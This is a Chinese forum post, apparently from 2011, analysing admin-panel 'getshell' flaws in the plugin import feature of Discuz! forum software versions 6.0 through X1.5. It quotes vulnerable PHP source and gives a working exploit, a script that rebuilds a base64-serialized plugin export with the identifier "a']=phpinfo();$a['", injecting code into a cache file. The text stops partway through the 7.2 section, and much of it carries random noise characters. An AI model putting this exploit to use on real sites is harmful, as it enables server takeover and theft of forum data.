趁着地球还没毁灭,赶紧放出来。
( F0 y2 b! L1 [, G5 S预祝"单恋一枝花"童鞋生日快乐。6 ]: f# t3 f4 R' ~. x
恭喜我的浩方Dota升到2级。: N# Q. p" E9 S0 y1 Z
希望世界和平。
: R2 m: ~% Y8 K- @我不是标题党,你们敢踩我。敢踩我。。踩我。。。我……
5 q1 U+ x! k; [* K
T" l# J U' I, A1 k0 k既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。 P' J; {6 s- W1 r5 n) }0 q
7 u( [: [8 ?/ ]& G0 R: |( v
一 Discuz! 6.0 和 Discuz! 7.0
0 S2 v/ J; w, M既然要后台拿Shell,文件写入必看。1 e/ O* W5 h7 J# s: v
0 W% n V& u, x7 n# g$ f/include/cache.func.php
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function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {& ?2 B) L8 ?1 c, k% x! u0 e
02, W6 k& e6 R0 p% {0 Q& v4 k1 q" {
global $authkey;$ M% ~$ H% W3 A/ j) {. i' _' y. G, ^) j
03
& y* E b; B. S$ e( ?, R3 y if(is_array($cachenames) && !$cachedata) {5 D2 {& j" @0 U9 D( g
048 z0 w! v1 N# U. {
foreach($cachenames as $name) {
, C/ u l! \4 g7 T( x05
6 _1 _6 Y% \* b2 H2 y $cachedata .= getcachearray($name, $script);+ L# t& ~2 A( M; ?' I
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$dir = DISCUZ_ROOT.'./forumdata/cache/';& i8 M8 S1 O+ Z' y4 `! Q1 O4 z
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if(!is_dir($dir)) {
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@mkdir($dir, 0777);
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}' [. I' a9 l, m5 e
13
( B- F1 l8 @ s5 { if($fp = @fopen("$dir$prefix$script.php", 'wb')) {$ P/ N+ d% H! z6 i) I
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5 c+ ^4 u; p" A$ G9 \ fwrite($fp, "<?php\n//Discuz! cache file, DO NOT modify me!".
+ W- _4 R. ^: Z5 d3 r H" @15( }* b$ O9 d. K* n4 M6 ^
"\n//Created: ".date("M j, Y, G:i").
" k$ Y; [. \6 `( c& R16
2 E0 g; N5 |: w7 I7 g& ^: G "\n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."\n\n$cachedata?>");
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, Z; r# U' W7 W' _6 o: N fclose($fp);
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$ F" m% G- G+ d& Y } else {( F6 l: c' v( U' Q0 j8 Y& m
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% ~! W; }% N/ n exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');! O2 I6 T* D( D* E, e3 a2 n
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}
8 H* d. C& S; s' ~往上翻,找到调用函数的地方.都在updatecache函数中.9 |% ^$ A6 H* T- U- M w
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if(!$cachename || $cachename == 'plugins') {
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7 M* p/ a' I, u; b9 q) D+ `$ `# N: ] $query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");& C3 j4 @2 T- |# u% z
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while($plugin = $db->fetch_array($query)) {" ] X" E2 X5 M L% I6 R8 l
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* @. L! @: _; [1 B $data = array_merge($plugin, array('modules' => array()), array('vars' => array()));
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' v% `# A2 B0 y $plugin['modules'] = unserialize($plugin['modules']);, c% P" A# s4 K6 c. @* {; M) C
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if(is_array($plugin['modules'])) {
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7 _+ y7 P5 z8 L# ?" c foreach($plugin['modules'] as $module) {3 t' L# k8 O) @( W
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$data['modules'][$module['name']] = $module;4 ?3 m- N, C' f; V
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}
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$queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");
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while($var = $db->fetch_array($queryvars)) {
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$data['vars'][$var['variable']] = $var['value'];
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//注意
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; C- w/ L, f0 y. S writetocache($plugin['identifier'], '', "\$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');
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}
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}9 [3 I% f% X! v% a6 ^) ^0 P
如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.
$ U/ \8 W0 C3 P; f去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.8 x7 W) T. L1 r
但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情./ s7 M7 O7 V( `6 r: c
2 C& v; y$ u% e+ T; m3 R$ A/admin/plugins.inc.php
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, l5 `" R$ D! N3 A6 I if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {7 C0 o7 b, {* R* t3 A5 X* J
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if(!$newname) {# _4 B6 J1 G4 D" t8 u- w
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- ~+ l/ {/ H, e" {9 J" A' H J cpmsg('plugins_edit_name_invalid');
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}
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$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");4 b" z9 e$ ^6 n7 V! S* c) Q
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//下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符
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if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {
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cpmsg('plugins_edit_identifier_invalid');$ v6 G9 v0 R) S9 C
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$db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
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}
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9 O# i* b+ R8 p" J //写入缓存文件
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" D' l/ C" ?2 h4 ]5 b& H updatecache('plugins');/ C- D5 z t. c# ^# _
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updatecache('settings');
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, F. _1 b, T/ H cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');/ C4 Y9 ^. `$ v) Q/ p3 I: _$ G
还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.
: f- U V, j, ^预览源代码打印关于
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elseif(submitcheck('importsubmit')) {
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$plugindata = preg_replace("/(#.*\s+)*/", '', $plugindata);1 F7 B# u0 J# {* d5 E
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$pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
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//解码后没有判定4 T, k( Q8 J" C7 M
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if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {
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7 Q8 h3 _2 z G8 U cpmsg('plugins_import_data_invalid');
6 T3 N5 n: N; x( ? J4 Q$ R7 O08
0 r# u* c# m- l } elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
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cpmsg('plugins_import_version_invalid'); p* g8 K' I1 Q7 d3 w
10
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$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");
5 W. H: ?2 ]0 K A/ U' I13
/ \5 j. v% U- h& X" z6 u //判断是否重复,直接入库
) W* ~" H7 `6 [# x H148 D+ j: s1 ?/ L( d4 h0 v8 J
if($db->num_rows($query)) {
* R: c6 p# F' k; i, h/ |15
4 j& [ n, s2 L8 W, h/ z0 C G cpmsg('plugins_import_identifier_duplicated');
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) A- E, b" o# }/ l4 o( g- j9 ? $sql1 = $sql2 = $comma = '';
# ?3 n0 l; x# `193 |, u( z. s }1 W% z
foreach($pluginarray['plugin'] as $key => $val) {
! q9 f/ W- L1 _% @1 b20( Q) z- K. C5 i: \. G
if($key == 'directory') {
" T( r- D e8 @7 g213 B# J1 r' F% _, K& i
//compatible for old versions2 Q, g4 z, B5 Z, [6 l4 M, g% }
22
( o+ B- ?2 X+ X $val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';2 D1 @7 k. V P% m
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}
8 p, t1 \0 d) f24
6 W0 m1 X0 G! S/ L% C J3 {) G $sql1 .= $comma.$key;1 @2 i! U9 m' h0 d$ P6 y- l
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$sql2 .= $comma.'\''.$val.'\'';' g- Q; p1 J4 U* r# a! T
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$comma = ',';4 O* U% ]/ H' O$ Y& |5 f
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% E7 M% m4 y, E( E! D7 F; { $db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");
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$pluginid = $db->insert_id();
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31
: ?1 d) u3 |, ?5 K8 N foreach(array('hooks', 'vars') as $pluginconfig) {
# O6 m+ Y" N2 O1 ~32
# a5 B( J# f8 w1 h4 u9 r7 ] W y. z n if(is_array($pluginarray[$pluginconfig])) {
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. L/ k& A5 e$ Z: J7 U foreach($pluginarray[$pluginconfig] as $config) {
+ U, @. h: Z2 |% {0 y) Z0 {! M% s) g347 B* [; v# p: D, _8 |
$sql1 = 'pluginid';+ b. ]' K' ^6 ^0 v
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$sql2 = '\''.$pluginid.'\'';- f$ f8 y: s& L4 m! R/ J
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foreach($config as $key => $val) {4 j4 {1 p# [- \1 X1 w
37
" \4 l& l: A# }9 j/ d$ x/ U $sql1 .= ','.$key;
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' R3 h b/ Y- ~/ O ~, S$ _3 T $sql2 .= ',\''.$val.'\'';
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5 s! {# D: K$ A% u6 B6 L $db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");- R7 }5 [1 S0 L, z2 s! X
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}
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updatecache('plugins'); b# T3 q: x7 w T0 `) H/ a& `4 b
46
4 K' w9 H0 X, _; U1 }+ ~ updatecache('settings');1 r2 L, f: \& r- |1 r2 |! ~
473 {8 Q: @" p1 }) u* U
cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');
% \: c3 Y x* O7 {48: i5 F* ]! _6 Z5 K* e
8 O, P& O% b) @6 R6 T$ A0 C, C49
; U7 M2 D {$ `1 U. | }6 ~" f4 O8 `* h: k
随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.
0 T* O$ G. s: t4 S/forumdata/cache/plugin_shell.php
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<?php
9 M/ }' s. w: R" M, L4 p, C# g02
' L5 p7 p+ k% F( h//Discuz! cache file, DO NOT modify me!: R$ c4 i8 ?6 o1 s
03
4 _! w1 A3 C7 R- ?: C! b//Created: Mar 17, 2011, 16:56
9 t: d( P$ p* L4 V. o; u04
: T Z1 J3 v' [* ]//Identify: 7c0b5adeadf5a806292d45c64bd0659c) \$ K+ |/ ~: ~' p/ B. [: O
05
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$_DPLUGIN['shell'] = array (
0 N' q& h9 C" q/ r+ X7 A/ |07
- H- l i( u# ^3 X# P0 K7 O$ E1 i 'pluginid' => '11',- m8 ]2 u" i+ b. S1 H
08
/ n* Q' ^3 F7 B5 O Q8 r 'available' => '0',
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'adminid' => '0',
J6 Q5 d3 Q/ I' I0 f10
, V0 Z% o7 n, }0 i8 Z+ u 'name' => 'Getshell',* X A! D" N# X+ X% \
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'identifier' => 'shell',, _& c; D' Z6 F# U% b0 l$ T
12
m, N& N6 v) _$ T6 `( }7 t 'datatables' => '',& k0 H. P7 n7 G& v! D; x
130 h5 N1 d0 K& ` N# z% o M
'directory' => '',
' W" |0 s3 J6 A& X14
' v M' a. s+ M" R( } y 'copyright' => '',4 G! e* r" t, Q8 ?
15
/ p3 M' T l5 w5 \! O 'modules' =>% Q7 K8 F; x* P
16
5 i6 ^( q; K) P* G5 ` array (. o# ~3 u7 O9 `" R6 j/ |
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18 @' f: }' D1 @* f( n
'vars' =>
* P1 j2 n+ C* O1 S$ a; n19
6 O/ p4 B4 M W6 P6 V6 ]9 A array (# u: Y, R* F; R6 D* P
20% i$ \3 s$ F' v' i7 x# N
),
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# }' o' N% c2 ~4 a! d$ G7 e1 C) K1 f9 ])?>
7 O+ m( \7 y) ^+ y. Z我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.
( @5 Z. E" J/ t
. y ~% E( T* }& u0 i/forumdata/cache/plugin_a']=phpinfo();$a['a.php
% c3 N' s" w. G0 f01
1 D/ Q! a0 a) f/ {4 ~, S8 `2 |2 p6 K<?php
: R, q- t& C3 K02. B1 o- S: ?0 O7 I- k: Y
//Discuz! cache file, DO NOT modify me!
# d$ p8 ?5 s; _& B& g03% y" s% y$ H/ T" Y7 j. [& T! E
//Created: Mar 17, 2011, 16:56. j& x, \6 C* i3 W; X
04
0 H4 W9 w3 l A* ~//Identify: 7c0b5adeadf5a806292d45c64bd0659c" C( ^+ l7 S( H7 J+ w
05
5 r, E9 R, H" K 9 J! U1 y* Q; M: R) M
06! O5 N( e U \" |
$_DPLUGIN['a']=phpinfo();$a['a'] = array (
& o. R3 r( e+ I0 c- ?07
# B7 X- Q4 Q' W4 |6 k& S 'pluginid' => '11',# n9 X+ ^# A+ M( i
087 v4 k2 v" M8 c* ?. r
'available' => '0',) Q3 Z4 V4 L& F( C1 l6 E' c
09
5 i7 K. [. u( o- l5 \- C4 W 'adminid' => '0',
" m4 ~4 K4 ^+ C* i$ z3 h10
- m4 R/ L: O! P/ P' ^ B 'name' => 'Getshell',( Y$ F- x3 Q0 R
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'identifier' => 'shell',
( A3 j$ [9 v# l. _; V12
9 Y5 s* i% j+ u0 T2 d8 D: h$ {' k' z8 H9 R 'datatables' => '',
" A. I& C$ V/ i* r T) y3 ]13- W% _0 k+ A* ?+ I
'directory' => '',
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'copyright' => '',5 e) f+ z; V4 i6 Y( c
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'modules' =>
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array (8 H4 b) h; s' `
17% g5 D* u l) P. z
),
2 @7 n/ ^7 W4 k, s7 \3 J- L0 l2 c18* D4 B! p; C5 {. `/ `- k
'vars' =>6 h) R, O& \% E
199 K7 ~" i. D1 V. C- D b
array (
7 A4 m# h4 e6 {" k20
0 H! J( ?, n6 Z7 j ),
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)?>, Z3 X+ H" s) h; P" f( S* }0 e
最后是编码一次,给成Exp:
) u5 K0 L5 C; v# B01. H0 q) O2 P* W! U' B* F4 Y
<?php
& r6 v! s8 b) C# g02
7 O8 @9 l- U& F9 }2 u$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
3 M9 [; ]6 r9 C' H03
; I* c* k E" U( f3 NIjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo0 n+ j1 e5 K: n) ?4 j1 h0 O! q
048 ^4 }" T x7 T4 l
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
0 U6 r3 X. f I6 X; c4 \05% C U3 h& F& s @7 s
cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6
& L1 H- e/ l( k( g6 v06
& e u1 i# P9 O! ? n) f9 E& a( lImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo37 D! [- _, ~9 a3 H! }
07
& I% f2 |) m! @5 q7 p! y7 oOiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
0 n7 }$ W: [) k) G+ h2 ?( V08
- V: N: o4 ~/ |. dfQ=="));
4 A# C2 E8 [0 k6 M6 s2 y09
, X! z, `2 O/ O) U4 ~$ k//print_r($a);: |; d6 p9 ?, Q/ Q0 g) K/ @0 n- ? l
10/ q( u' r: o+ j4 J' f4 P
$a['plugin']['name']='GetShell';5 ^2 c0 P1 P% f6 c
11* _$ T6 n: z) Q/ T @+ z: L
$a['plugin']['identifier']='a\']=phpinfo();$a[\'';9 _, ?" s/ u3 C) h* \' p8 V: D# o2 P" P
12
" h: {5 V/ u! r) `9 u3 e1 C 7 D2 j: y+ ?1 g( v* ]) l, {) {
13% c2 X3 {! s. [! K, p+ ?! r
print(base64_encode(serialize($a)));
: X: m/ a; e( g/ o14! d, s/ m% u; v
?>; l7 g: L0 P$ i5 K% j
, l! K: A+ c; f1 J7 H4 V
7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"
{* z% c W m; f3 p" C. M ! T4 S) G; Z* ^" G2 }! ?
二 Discuz! 7.2 和 Discuz! X1.5
5 U$ _! x- Y. ~1 o/ [
5 d# \- P( y. Y, f8 L: Q以下以7.2为例4 U* q1 Q5 d$ F. c4 `
' B9 u2 u* ]$ u4 n/admin/plugins.inc.php# b3 m) R; B; X' D
01- N7 ~4 j3 g; A; n
elseif($operation == 'import') {( j( s; a/ |6 g1 ]
02$ h) [% E; K6 {% w+ M/ L
6 n% H* D! w" o5 v5 M9 M03/ H: \1 y! a/ X$ y, v8 f$ ~" O
if(!submitcheck('importsubmit') && !isset($dir)) {
, _& ]0 ]5 T& ]# ~7 K( o04
/ y7 J1 ` |; e* e, q
& U* x& y1 K5 \" \; Q055 o. k9 Q" p9 i9 N3 W% _# p
/*未提交前表单神马的*/! O( w+ J4 r/ \# v* o
06
" U3 q2 B% V8 R. A1 B, B1 l
8 p, U. X3 Q7 ~, V; }" ~078 d% Z% u0 _. e7 _
} else {' q' n' v/ X6 E# w- F0 w
08; f! P4 A' V& p& G) n( T. e
+ [2 a# @, k' B5 f2 |- t/ n9 z1 V
09# I/ N& B8 R: k
if(!isset($dir)) {5 ?" \( O- p% _# ]- R5 L) a
10
7 @5 V, z1 E& J0 m* R) P //导入数据解码
: G& Q4 C' E" Z# k9 Z11
# N- ^* d# i. n8 { $pluginarray = getimportdata('Discuz! Plugin');6 u8 k* I# i$ c
12
7 R, k8 \/ F: A# y# I7 t } elseif(!isset($installtype)) {
2 x5 e3 Z; l' v. W: Z$ C+ P3 W1 J133 h8 g0 F% N; a. O3 L
/*省略一部分*/
0 A, \/ { h4 q, J& C. i14$ ~+ e: `8 C/ x7 u! O& z
}
8 @2 N% S& `" S2 `15& d; k, J/ `# i" ~! e5 T a
//判定你妹啊,两遍啊两遍
( g8 P( O& V5 S( ~169 t5 A% [, s9 J: c: x. ?
if(!ispluginkey($pluginarray['plugin']['identifier'])) {( A5 ^# B( Q/ W
172 I' ], m; a: a* ?9 @! X
cpmsg('plugins_edit_identifier_invalid', '', 'error');
+ V# l' f3 e. x" g188 r, S% Z5 y+ e p# D7 N
}
8 L# @" [+ f3 ]$ i) N2 j$ O19
4 \+ `* V% \9 V if(!ispluginkey($pluginarray['plugin']['identifier'])) {: v4 M c( q" M! V1 Y
20
4 P* v/ u9 F& W$ p4 m7 j cpmsg('plugins_edit_identifier_invalid', '', 'error');, u' q5 U2 |1 [' s* s4 J
217 _/ K4 [0 N/ w$ ^' _3 s
}9 b- q9 }8 Q: v5 ^% r, L
221 o- n: Y( r3 z" ~* ?5 u
if(is_array($pluginarray['hooks'])) {
4 ]# l8 I* ~" Y4 v% c. Q233 C+ {) ?: r4 j
foreach($pluginarray['hooks'] as $config) {" ?; V* U4 F/ P
24/ L9 @: L' ~; ]
if(!ispluginkey($config['title'])) {
4 ^3 l/ C/ J. M0 S! y: H25" B8 x5 B" f3 I+ Q
cpmsg('plugins_import_hooks_title_invalid', '', 'error');
3 n4 g5 ^2 z R3 P% }0 `265 m* R2 ~5 E2 w6 | z
}
, f. B( a- b, s* Z; Z! ~) [* O$ j9 |27
/ R; A4 C6 g6 J! A6 T4 @ }
" W- N0 s% H( f' o28/ s* R4 ?. [. r0 g
}3 e! X3 [8 n) [: R5 E) V. F
29
4 ~# {# v4 ?. P if(is_array($pluginarray['vars'])) {
U8 @5 n# ^9 N! n/ k. S* t30
$ w# l; g" q+ g# X p" Y foreach($pluginarray['vars'] as $config) {
. J" u% m3 }2 F3 {% B31. S' t w8 ^" Q% }
if(!ispluginkey($config['variable'])) {
; r7 [+ a! m. ~( G$ L328 i( f# r# S5 L
cpmsg('plugins_import_var_invalid', '', 'error');0 U$ \* X3 g/ ^
33
; ^, ], z1 ?- c; h. W }, g5 e6 _. A, o6 C# [
34
+ c+ n; ]% q) D4 d$ O; m }' q' f6 F6 R8 B2 |5 y5 t
35/ `% ~: C# m. _6 r7 `2 X% I
}
( x: s5 }2 Q9 P( h/ s36& U) N7 z0 a& J" l1 O1 `, E: N- R
" M/ Q( _/ l0 m# b: o( m37 M( M5 P1 V- g( D5 [' V
$langexists = FALSE;$ E' r# G4 J5 _( Z- {$ P: A: e
38
' k0 U8 m0 B/ [0 n% R8 Q //你有张良计,我有过墙梯
9 f, Y3 \( `' ?, }0 C; A39
4 j1 e4 ]1 F- L if(!empty($pluginarray['language'])) {
- Y" a& S. K, [/ B* I401 t: \/ |& v7 ]- z1 J3 B7 N
@mkdir('./forumdata/plugins/', 0777);0 E, a9 B, J' L5 B# F
41
* h( O1 [6 j9 |* a4 W! H: p# \) A $file = DISCUZ_ROOT.'./forumdata/plugins/'.$pluginarray['plugin']['identifier'].'.lang.php';
}- b7 L! ~8 f$ r42
/ @6 l) Q3 P* a9 ~. c if($fp = @fopen($file, 'wb')) {
, }3 L: S! y2 X1 _8 N4 N43
1 ^. S( s0 ?! R% o $scriptlangstr = !empty($pluginarray['language']['scriptlang']) ? "\$scriptlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['scriptlang']) : '';8 e# R: c# B! C
44
/ |7 K/ h& G- R. s $templatelangstr = !empty($pluginarray['language']['templatelang']) ? "\$templatelang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['templatelang']) : '';
* Z7 J0 f \4 S9 c/ p: I7 N" M! ?6 I4 w45. z$ R1 R; E( k( W2 _
$installlangstr = !empty($pluginarray['language']['installlang']) ? "\$installlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['installlang']) : '';$ {, y3 ~& a! r, V, D. ]
46. v6 P5 R. L5 Z: l7 }' d
fwrite($fp, "<?php\n".$scriptlangstr.$templatelangstr.$installlangstr.'?>');
7 }3 d! M4 g( W# y ~47. r* }0 Q6 V9 o5 s' o2 a; u
fclose($fp);3 g+ v$ a8 L3 g* d5 |' `0 ^
483 E8 w7 k, R8 [
}1 ^" X+ ^& z: N/ E7 I: \. w8 H
49
" f; O( ?* L' B1 a1 C( t $langexists = TRUE;
0 {3 V, |& Y7 L1 V) K7 Y; P50
. j# O% V9 O/ C }- l+ \$ V) O) Q8 @5 x( s# V% ^
51" \0 S1 m4 O Z! w
w! x1 g8 J) N- \0 T52
7 _6 `) |( X- _: s4 D/*处理神马的*/+ Y4 e; h6 `( L2 z% V
53( H5 a/ U( R4 V& G) h
updatecache('plugins');
+ \$ X4 ?2 u% M+ G* }/ j( U/ }3 C) \54' u" m2 E2 d( `. V
updatecache('settings');
, _/ I) a3 X9 t% @# t3 F" \) I* X/ c9 f559 _ v- P N9 P
updatemenu();
2 n# }' g+ s3 I56+ \8 s" N) i4 j3 E
9 I3 X+ I# K. \) f3 P57
3 R1 [( ]: h3 P) B/*省略部分代码*/
( A3 I- [% R2 ^6 ?$ e/ L0 C Q58+ S* h9 `3 k' B' A5 R7 r; \
. A+ j# ~4 H: R ~+ p. {59& {" t9 M6 Y c9 Z1 G! r
}
+ l: b p% g7 R3 r6 O [2 v$ J9 [先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.
; O8 p6 h- Y/ F) g7 P* r7 x01
+ w+ T7 z2 z9 w2 r/ f' D1 R* @function getimportdata($name = '', $addslashes = 1, $ignoreerror = 0) {
% H0 \3 z- @: ~4 \; E; {4 s0 k+ ^02/ t0 A7 K A7 h# \1 F7 n6 r, k- O
if($GLOBALS['importtype'] == 'file') {
& R9 H3 A/ ^- {; o( z1 j L03
! K1 r. G! R, W1 R2 a $data = @implode('', file($_FILES['importfile']['tmp_name']));; e! ^+ I/ F& [3 F1 ]' S
04
+ ]8 [9 r' Q/ f0 L, f/ t7 Q @unlink($_FILES['importfile']['tmp_name']);6 c" _) |6 o' R: a- \+ D
05
, L' x& y: I/ \/ d } else {
9 H) G! C% L/ `9 L+ \3 r; q06
; O9 ]. N1 p+ D! p5 m $data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];
) Z- x# ~6 w+ o6 [07
% q+ c, N$ I6 ?7 t* X }
]5 a2 `" j- K4 j08, D# c" d' D" z( }5 C# \
include_once DISCUZ_ROOT.'./include/xml.class.php';
. E# |: E% w' O/ q9 ^: H7 H L9 O09* p3 o, D4 K9 Q4 ]% d1 V
$xmldata = xml2array($data);9 a; U% K( D( l" T, M
10+ A! d' L2 |6 S r! s; s
if(!is_array($xmldata) || !$xmldata) {
4 K. O) Y M: @11
/ t* h; a/ D" D+ Y. G//向下兼容- g& v7 U+ m$ ^) N# d/ I
12/ v. q4 `. w/ G+ ^% Z6 j4 l. J, j
if($name && !strexists($data, '# '.$name)) {
9 S7 c- B6 ^ o1 a% T- B4 s13% k5 H6 W/ |+ `; e; N
if(!$ignoreerror) {
/ |& h; M( `/ N5 Y1 M4 t( i141 l, L6 _2 }3 l. Z: K# Q
cpmsg('import_data_typeinvalid', '', 'error');
$ j0 M2 k9 \, j" z1 Q8 [15
0 N+ A3 V4 b* [3 W5 e, F8 f% f' \ } else {' G1 {) v: ?2 u% N
16
2 c4 N3 b: i8 X& Z return array();
7 ~. K' T& L+ v* h8 i172 j1 M. [9 t: f+ j* m
}4 c4 H6 G. `# D, O9 A8 L
18
; x# g) K0 S6 U P% k2 y+ a1 X% L9 J# x3 o }! p1 `8 K2 w3 p! E3 o- r
19
! y; Y( S; @3 E. n& K6 V8 g $data = preg_replace("/(#.*\s+)*/", '', $data);0 C1 f, Z' B& t' J+ D
20
/ k/ R- C) j0 ]9 u% W- M $data = unserialize(base64_decode($data));
3 L; c1 }2 A I2 ^% _21
4 q6 }; M- l% y% ~8 |3 q% u, N if(!is_array($data) || !$data) {! E7 o5 L; d& c" E1 t
22
: i; q" B+ _ w, j% f, {. u if(!$ignoreerror) {
2 B* Y& \) F+ F( u7 F23
3 ~- M' v2 \# ?1 Y cpmsg('import_data_invalid', '', 'error');
" U2 f3 S6 I/ b" C% J' U3 w2 p l% x24
2 Z) X! N3 K! e! Q7 r$ f2 J' R+ z& y } else {
# W4 F# C: t9 y* c& z, `25
0 V2 m% X3 m7 R( ^/ j2 K return array();
" u& r' N7 D- m) I" L) c$ S( B26; x4 ]1 d7 G0 ~8 |; }
}
4 f2 ~; [0 P+ Y, P27
+ Q- V+ _4 F/ d6 E/ D: {* { }
+ c8 @! E: b: j/ n1 D28# }5 ?* G9 a* D+ v) o
} else {5 S" s, x; [# U- H* {6 I0 T
292 g! E6 O2 b, K/ {5 w& h
//XML解析
6 y" T* L& L. G/ r" V30 V+ q0 |5 F% Z4 t) c
if($name && $name != $xmldata['Title']) {# r. c: D1 J5 ~4 K! a+ `+ N" V& b
31
" w% b' i% x% g' y' u if(!$ignoreerror) {
0 Z( ~' R6 _$ q) g X5 C32
- K7 P* N! @3 a2 _ cpmsg('import_data_typeinvalid', '', 'error');
" c3 D& x# e- j+ ^1 |33
$ O" H/ B8 D" @* B } else {
8 e: I N k7 J345 v3 S4 p4 s: b/ H! r1 s) H- b
return array();
' |; S7 A2 x+ P. u35
; N% c7 H, l. C4 [# J' U } [" @5 s) x$ m7 y% e! k. X6 ~
36
$ ?$ |- {8 d# u* Z- g6 l7 P }
) \: W5 o9 j i1 \3 N9 L! ]37# m- j) Y) x; D( E0 h
$data = exportarray($xmldata['Data'], 0);
$ w4 X6 W# u0 T Z" a38- _4 y1 q _3 r" E/ [
}4 {5 Y8 J G' V$ v
39
2 W! {# u' ^7 T2 j if($addslashes) {
2 T' |3 @2 u ~/ n7 q40
6 O) _% Y1 W- S# S6 X//daddslashes在两个版本的处理导致了Exp不能通用.
( |% q/ \ k$ @" j/ X41
! z' O% c' V' b6 y $data = daddslashes($data, 1);. g! Q/ @7 Q5 T) [6 K3 `) @
42& c J+ D. d. e
}
Z% Q' Y4 N2 n: A) J( V0 \; N430 \$ }" f4 }, t( x7 H
return $data;
4 y, C* f, D' l b0 W+ y: u* B44
7 ?2 R O" G5 n; U& S6 y}
- E$ H1 u$ U! E$ E9 \判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……7 |' ], }" E9 u; J% d! t; }
我们只要控制scriptlangstr或者其它任何一个就可以了。
+ t* G# W: F0 x- g/ g% u& s01
$ V$ _3 V8 W% N& r- S! sfunction langeval($array) {; ^) f0 `- Z" y7 U+ u5 r2 S
024 C6 w! l% c4 x2 ~; Q
$return = '';
. m( V: J3 B) C) G3 Y03
9 m0 N; n6 X5 ` foreach($array as $k => $v) {
& v; F0 B. H( N' l; Z04
+ M5 F) F# y. `- W2 a5 s5 y //Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号
8 U' d: t; C Y- V, b# w+ K05; I/ v" W, q5 N5 i9 E! I
$k = str_replace("'", '', $k);
4 ^$ l' r( c; G062 r% u: `0 u: G
//下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?* i# h9 |: B) Z
07' y& ~* p( Q, V+ K# V7 _8 y
$return .= "\t'$k' => '".str_replace(array("\\'", "'"), array("\\\'", "\'"), stripslashes($v))."',\n";% r& E" @/ Z% U" s- o9 y* j. `
08
: P; T. J% \" L% l% [1 `- r }, b0 u8 a; j7 U8 |+ |, t3 z
09
* a( k( `* p8 G8 O, t return "array(\n$return);\n\n";
& D) E2 C/ A! ?: g& F10
. e; u1 J. A+ m$ e% U. i$ b}
3 p) e2 e" x/ v3 h; i/ YKey这里不通用.
, {5 q% R, Y4 o% q. L) @5 h* t+ N9 t( B0 s) X
7.2+ Q7 d6 @+ m7 P4 \" Z% E: ^1 q D
01
7 k% a, `' y; A! s) m) @6 ofunction daddslashes($string, $force = 0) {9 D1 z6 L9 o1 D5 Z' [0 H: h# z
02, P% v; g2 B& H! z5 W' e4 ^! J
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());1 n, x, e6 ~4 O$ d1 r
03* k5 O8 W J: w( x) O
if(!MAGIC_QUOTES_GPC || $force) {
- s! n4 N6 R% w3 r+ B7 L048 v5 g7 n* o7 u7 ?: N V
if(is_array($string)) {7 p, J Y N( ~% A6 _6 Y a9 J+ A
05& [! b( E% s% w+ X( k* R
foreach($string as $key => $val) {- y' O' i; t$ N I2 a- K; k
06* J8 A2 P9 h. g
$string[$key] = daddslashes($val, $force);
& J2 k0 S$ e0 J$ F s% q/ r07: N# H$ N7 M+ k. R
}& [$ T9 [) d2 f; W/ X* V# B
08
